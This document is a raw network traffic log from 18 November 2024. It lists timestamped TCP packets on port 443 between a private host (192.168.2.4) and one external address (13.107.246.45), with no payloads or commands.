Nov 18, 2024 17:24:23.078671932 CET	443	49952	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.078779936 CET	49952	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.078979015 CET	49952	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.079019070 CET	443	49952	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.099708080 CET	443	49949	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.100372076 CET	49949	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.100384951 CET	443	49949	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.100750923 CET	49949	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.100755930 CET	443	49949	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.113647938 CET	443	49950	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.114145994 CET	49950	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.114156008 CET	443	49950	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.114664078 CET	49950	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.114669085 CET	443	49950	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.211396933 CET	443	49948	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.211467981 CET	443	49948	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.211601019 CET	443	49948	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.211709976 CET	49948	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.211709976 CET	49948	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.211869001 CET	49948	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.211869001 CET	49948	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.211883068 CET	443	49948	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.211891890 CET	443	49948	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.214745998 CET	49953	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.214791059 CET	443	49953	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.214854002 CET	49953	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.214993000 CET	49953	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.215008974 CET	443	49953	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.232762098 CET	443	49949	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.232839108 CET	443	49949	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.232911110 CET	49949	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.233046055 CET	49949	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.233046055 CET	49949	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.233061075 CET	443	49949	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.233069897 CET	443	49949	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.237849951 CET	49954	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.237907887 CET	443	49954	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.238008976 CET	49954	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.238132000 CET	49954	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.238169909 CET	443	49954	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.245064974 CET	443	49950	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.245095015 CET	443	49950	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.245136023 CET	443	49950	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.245202065 CET	49950	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.245202065 CET	49950	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.245398045 CET	49950	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.245398045 CET	49950	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.245404959 CET	443	49950	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.245414019 CET	443	49950	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.247634888 CET	49955	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.247659922 CET	443	49955	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.247737885 CET	49955	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.247940063 CET	49955	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.247957945 CET	443	49955	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.724606991 CET	443	49951	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.725218058 CET	49951	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.725235939 CET	443	49951	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.725858927 CET	49951	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.725863934 CET	443	49951	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.850017071 CET	443	49952	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.850528002 CET	49952	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.850605011 CET	443	49952	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.851001978 CET	49952	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.851016998 CET	443	49952	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.853101969 CET	443	49951	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.853182077 CET	443	49951	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.853249073 CET	49951	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.853429079 CET	49951	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.853429079 CET	49951	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.853450060 CET	443	49951	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.853458881 CET	443	49951	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.855942011 CET	49956	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.856055975 CET	443	49956	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.856144905 CET	49956	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.856272936 CET	49956	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.856296062 CET	443	49956	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.976713896 CET	443	49953	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.976905107 CET	443	49954	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.981362104 CET	49953	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.981395960 CET	443	49953	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.981816053 CET	49953	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.981826067 CET	443	49953	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.982047081 CET	49954	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.982110977 CET	443	49954	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.982367992 CET	49954	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.982383013 CET	443	49954	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.985104084 CET	443	49952	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.985152960 CET	443	49952	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.985213041 CET	49952	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.985830069 CET	49952	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.985830069 CET	49952	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.985879898 CET	443	49952	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.985907078 CET	443	49952	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.990262032 CET	49957	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.990297079 CET	443	49957	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.990391016 CET	49957	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.990528107 CET	49957	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.990537882 CET	443	49957	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.993592978 CET	443	49955	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.993933916 CET	49955	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.993968010 CET	443	49955	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:23.994350910 CET	49955	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:23.994362116 CET	443	49955	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.107678890 CET	443	49954	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.107753992 CET	443	49954	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.107832909 CET	49954	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.107883930 CET	443	49954	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.107922077 CET	443	49954	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.107983112 CET	49954	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.108227968 CET	49954	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.108264923 CET	443	49954	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.108290911 CET	49954	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.108305931 CET	443	49954	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.110470057 CET	443	49953	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.110774994 CET	443	49953	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.110841036 CET	49953	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.113822937 CET	49953	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.113831997 CET	443	49953	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.113867044 CET	49953	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.113873005 CET	443	49953	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.124082088 CET	443	49955	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.124248981 CET	443	49955	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.124330044 CET	49955	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.130103111 CET	49958	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.130194902 CET	443	49958	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.130290985 CET	49958	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.132446051 CET	49959	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.132496119 CET	443	49959	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.132555962 CET	49959	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.133025885 CET	49955	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.133025885 CET	49955	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.133040905 CET	443	49955	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.133052111 CET	443	49955	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.133822918 CET	49958	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.133861065 CET	443	49958	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.134519100 CET	49959	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.134536028 CET	443	49959	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.136284113 CET	49960	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.136317015 CET	443	49960	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.136377096 CET	49960	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.136785984 CET	49960	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.136807919 CET	443	49960	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.596158028 CET	443	49956	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.597774982 CET	49956	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.597804070 CET	443	49956	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.598217010 CET	49956	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.598231077 CET	443	49956	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.724736929 CET	443	49957	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.725179911 CET	49957	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.725191116 CET	443	49957	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.725621939 CET	49957	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.725626945 CET	443	49957	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.727713108 CET	443	49956	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.728020906 CET	443	49956	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.728396893 CET	49956	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.728485107 CET	49956	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.728485107 CET	49956	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.728521109 CET	443	49956	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.728547096 CET	443	49956	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.730899096 CET	49961	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.730930090 CET	443	49961	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.731007099 CET	49961	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.731110096 CET	49961	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.731115103 CET	443	49961	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.858726025 CET	443	49957	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.858925104 CET	443	49957	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.858995914 CET	49957	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.859097958 CET	49957	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.859117985 CET	443	49957	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.859131098 CET	49957	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.859137058 CET	443	49957	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.863262892 CET	49962	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.863325119 CET	443	49962	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.863400936 CET	49962	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.863523960 CET	49962	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.863545895 CET	443	49962	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.883198023 CET	443	49958	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.883634090 CET	49958	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.883711100 CET	443	49958	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.884187937 CET	49958	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.884205103 CET	443	49958	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.897840977 CET	443	49960	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.898176908 CET	49960	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.898189068 CET	443	49960	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.898667097 CET	49960	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.898674011 CET	443	49960	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.907614946 CET	443	49959	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.907975912 CET	49959	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.908003092 CET	443	49959	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:24.908364058 CET	49959	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:24.908371925 CET	443	49959	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.010926962 CET	443	49958	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.010957956 CET	443	49958	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.011008024 CET	443	49958	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.011018038 CET	49958	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.011080980 CET	49958	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.011337996 CET	49958	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.011378050 CET	443	49958	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.011411905 CET	49958	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.011429071 CET	443	49958	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.014887094 CET	49963	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.014941931 CET	443	49963	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.015002966 CET	49963	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.015621901 CET	49963	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.015640020 CET	443	49963	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.030623913 CET	443	49960	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.030685902 CET	443	49960	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.030788898 CET	49960	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.030873060 CET	49960	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.030881882 CET	443	49960	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.030893087 CET	49960	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.030898094 CET	443	49960	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.033665895 CET	49964	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.033679008 CET	443	49964	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.033858061 CET	49964	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.033879042 CET	49964	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.033883095 CET	443	49964	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.039572001 CET	443	49959	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.039726973 CET	443	49959	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.039777994 CET	49959	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.039836884 CET	49959	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.039851904 CET	443	49959	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.039865017 CET	49959	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.039870024 CET	443	49959	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.042011976 CET	49965	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.042042971 CET	443	49965	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.042144060 CET	49965	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.042323112 CET	49965	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.042327881 CET	443	49965	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.484806061 CET	443	49961	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.485351086 CET	49961	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.485384941 CET	443	49961	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.485784054 CET	49961	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.485789061 CET	443	49961	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.617122889 CET	443	49962	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.617615938 CET	49962	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.617636919 CET	443	49962	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.618038893 CET	49962	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.618045092 CET	443	49962	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.620297909 CET	443	49961	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.620419979 CET	443	49961	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.620527983 CET	49961	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.620557070 CET	49961	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.620579958 CET	443	49961	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.620595932 CET	49961	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.620604038 CET	443	49961	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.623112917 CET	49966	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.623141050 CET	443	49966	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.623213053 CET	49966	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.623384953 CET	49966	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.623399019 CET	443	49966	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.756972075 CET	443	49962	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.757045031 CET	443	49962	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.757095098 CET	443	49962	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.757119894 CET	49962	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.757169962 CET	49962	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.757344961 CET	49962	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.757360935 CET	443	49962	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.757376909 CET	49962	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.757385015 CET	443	49962	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.761908054 CET	49967	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.761940956 CET	443	49967	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.762217045 CET	49967	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.762217999 CET	49967	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.762253046 CET	443	49967	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.772423983 CET	443	49963	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.772963047 CET	49963	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.772985935 CET	443	49963	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.773380995 CET	49963	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.773386002 CET	443	49963	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.784219027 CET	443	49965	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.784708023 CET	49965	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.784729004 CET	443	49965	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.785389900 CET	49965	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.785394907 CET	443	49965	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.836823940 CET	443	49964	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.837449074 CET	49964	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.837466002 CET	443	49964	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.837954044 CET	49964	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.837960005 CET	443	49964	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.917818069 CET	443	49965	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.917924881 CET	443	49965	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.918021917 CET	49965	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.918129921 CET	49965	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.918129921 CET	49965	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.918145895 CET	443	49965	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.918154955 CET	443	49965	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.920555115 CET	49968	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.920588017 CET	443	49968	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.920752048 CET	49968	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.920881987 CET	49968	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.920895100 CET	443	49968	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.941277981 CET	443	49963	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.941457033 CET	443	49963	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.941521883 CET	49963	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.941560030 CET	49963	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.941570044 CET	443	49963	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.941591024 CET	49963	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.941596031 CET	443	49963	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.943713903 CET	49969	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.943746090 CET	443	49969	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.943914890 CET	49969	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.944055080 CET	49969	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.944071054 CET	443	49969	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.970206022 CET	443	49964	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.970365047 CET	443	49964	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.970429897 CET	49964	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.970573902 CET	49964	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.970582962 CET	443	49964	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.970747948 CET	49964	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.970752954 CET	443	49964	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.973083973 CET	49970	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.973105907 CET	443	49970	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:25.973225117 CET	49970	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.973352909 CET	49970	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:25.973373890 CET	443	49970	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.375684023 CET	443	49966	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.376422882 CET	49966	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.376440048 CET	443	49966	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.376949072 CET	49966	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.376955986 CET	443	49966	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.510067940 CET	443	49966	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.510097980 CET	443	49966	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.510148048 CET	443	49966	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.510195017 CET	49966	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.511040926 CET	49966	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.511054993 CET	443	49966	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.511071920 CET	49966	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.511077881 CET	443	49966	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.511311054 CET	443	49967	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.512660980 CET	49967	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.512671947 CET	443	49967	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.513313055 CET	49967	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.513319969 CET	443	49967	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.515464067 CET	49971	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.515491962 CET	443	49971	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.515677929 CET	49971	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.515928030 CET	49971	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.515940905 CET	443	49971	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.645384073 CET	443	49967	13.107.246.45	192.168.2.4
